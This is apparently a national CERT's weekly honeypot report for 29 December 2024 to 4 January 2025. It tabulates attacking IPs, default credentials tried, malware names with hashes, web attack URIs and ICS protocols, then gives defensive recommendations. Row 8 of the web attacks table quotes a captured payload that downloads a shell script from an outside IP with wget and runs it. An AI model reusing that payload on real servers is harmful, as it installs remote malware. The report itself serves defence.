TZ-CERT HONEYPOTS WEEKLY REPORT
Period: 29th of December, 2024 to 4th of January, 2025
Report No.: TZ-CERT/WRHP/2025/01

1. NETWORK ATTACKS

A total of **381,477** attacks have been recorded compared to last week's **420,545** attacks within the period of this report. The top 10 Network attacks with malicious IPs, commonly used usernames and passwords are as in **table1** below:

SN	ATTACKING IPS	USERNAMES	PASSWORDS
1.	114.33.1.222	root	12345678
2.	220.134.21.67	oracle	root
3.	36.233.75.18	postgres	admin
4.	122.116.127.90	proftpd	Admin123
5.	122.117.121.70	default	password
6.	125.229.202.174	Administrator	Welcome@1
7.	125.230.206.219	ftpuser	proftpd
8.	218.161.83.188	websrvc	1q2w3e4r
9.	118.161.12.16	Telnetadmin_super	P@ssw0rd
10.	77.91.78.95	ubuntu	1qazZAQ

Table1: Top 10 Network attacking IP

Most of the usernames and passwords listed are commonly used, thus its advised review of usernames and passwords be made to avoid use of the above listed credentials and default ones. The use of password policies is the best practice.

2. MALICIOUS SOFTWARE (MALWARE)

During the week the sensors recorded, a total of **49,352** malicious software distributed, compared to last week in which was **74,956**

Below listed are top ten malicious software and their hashes.

SN	ATTACKING IPS	MALICIOUS SOFTWARE	HASHES(SHA256)
1.	41.78.76.190	downloader.medusa/shell	26472c53b4c3f32c322fe5495dae7f1ac632326e07e57265d5e8601614d32cd4
2.	37.152.163.60	trojan.hajime/genericrxic	2b4d1561dbbb5c71f6cc366eeec08790e4bd9f056a499a38c7d035b947a9346f
3.	196.203.111.6	Unix.Trojan.Coinminer-10007719-0	14c1403b37d68c04e51a982c7562dee190fb795f485505c69f99b4839b9c31b3

4.	197.250.96.248	Trojan.Gen.NPE	3bd6d39e64db5e30b9ff6f713248c435cfa6eba7018a3887e5c4400daa04e4aa
5.	41.254.55.70	Adware/Miner	3e9b22ca450a78aa2ee279292bc6f73fe6d1a575d8c9035c8fac36740cc28bd3
6.	196.202.81.246	HEUR:Trojan-DDoS.Linux.Xarcen.d	ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73
7.	103.53.45.99	Trojan:Script/Multiverze	d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
8.	185.210.157.128	Trojan.Gen.NPE	d4635f0f5ab84af5e5194453dbf60eaebf6ec47d3675cb5044e5746fb48bd4b4
9.	190.14.237.171	ELF/Xorddos.AB!tr	eef8be41bbc608ce0d28e3cbb61758177dda867088d0b00dbad3db9ad729383c
10.	82.162.84.98	Backdoor.Berbew.F	a04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daa3de3

Table2: Top 10 Malicious attacking IP

3. WEB ATTACKS

During the week the sensors recorded a total of **1,875** web attacks compared to last week which was **2,150.**

From the table below, the top 10 web-based attacks and their associated requests sent to web servers for the period between 29th of December, 2024 to 4th of January, 2025, are detailed. The requests are the payloads.

SN	ATTACKING IPS	TOP URI
1.	119.230.101.84	/
2.	78.153.140.179	/logon.htm
3.	156.146.36.105	/login.rsp
4.	195.3.223.55	/admin/assets/js/views/login.js
5.	154.213.187.122	/.env
6.	141.98.11.119	/favicon.ico

7.	103.226.248.206	/robots.txt
8.	193.233.85.23	/shell?cd+/tmp;rm+-rf+j;nohup+wget+http:/\/194.37.81.64/random.sh;chmod+777+random.sh;./random.sh
9.	179.43.191.146	/cgi-bin/authLogin.cgi
10.	46.19.138.234	/nice%20ports%2C/Tri%6Eity.txt%2ebak

Table3: Top 10 web attacking IP

4. ICS (INDUSTRIAL CONTROL SYSTEMS) ATTACKS

During the week the sensors recorded a total of **2,277** ICS attacks compared to last week which was **2,629.**

From the table below these are the top 5 ICS attacks and their associated attacking IP, exploited protocols and exploited ports as detailed for the period between 29th of December, 2024 to 4th of January, 2025, are detailed

SN	ATTACKING IPS	TOP PROTOCOLS	TOP PORTS
1.	118.194.250.113	kamstrup_protocol	1025
2.	147.182.209.193	kamstrup_management_protocol	10001
3.	161.35.122.75	IEC104	50100
4.	119.230.101.84	guardian_ast	2404
5.	13.244.75.167	snmp	161

Table4: Top 5 ICS attacking IP

5. RECOMMENDATIONS

The Honeypot sensors have recorded IP addresses with the most common malware used in the world today. Monitoring of the listed IP address is advised and further to: -

5.1 Note that most of the malicious IP addresses captured are also listed as malicious IP addresses in other sources that are also observing security attacks; thus, security measures should be considered to counteract, including monitoring of the IPs in networks. Most likely the same resources might be used for further attacks.

5.2 Discourage usage of listed login resources (usernames and passwords) and consider deploying mechanisms to monitor login attempts.

5.3 Thoroughly check for suspicious files of hashes listed in **Table 2**.

5.4 Deploy Intrusion Detection System (IDS) and configure it to flag the detection of attacks associated with the list of resources provided especially the IP addresses and the web requests.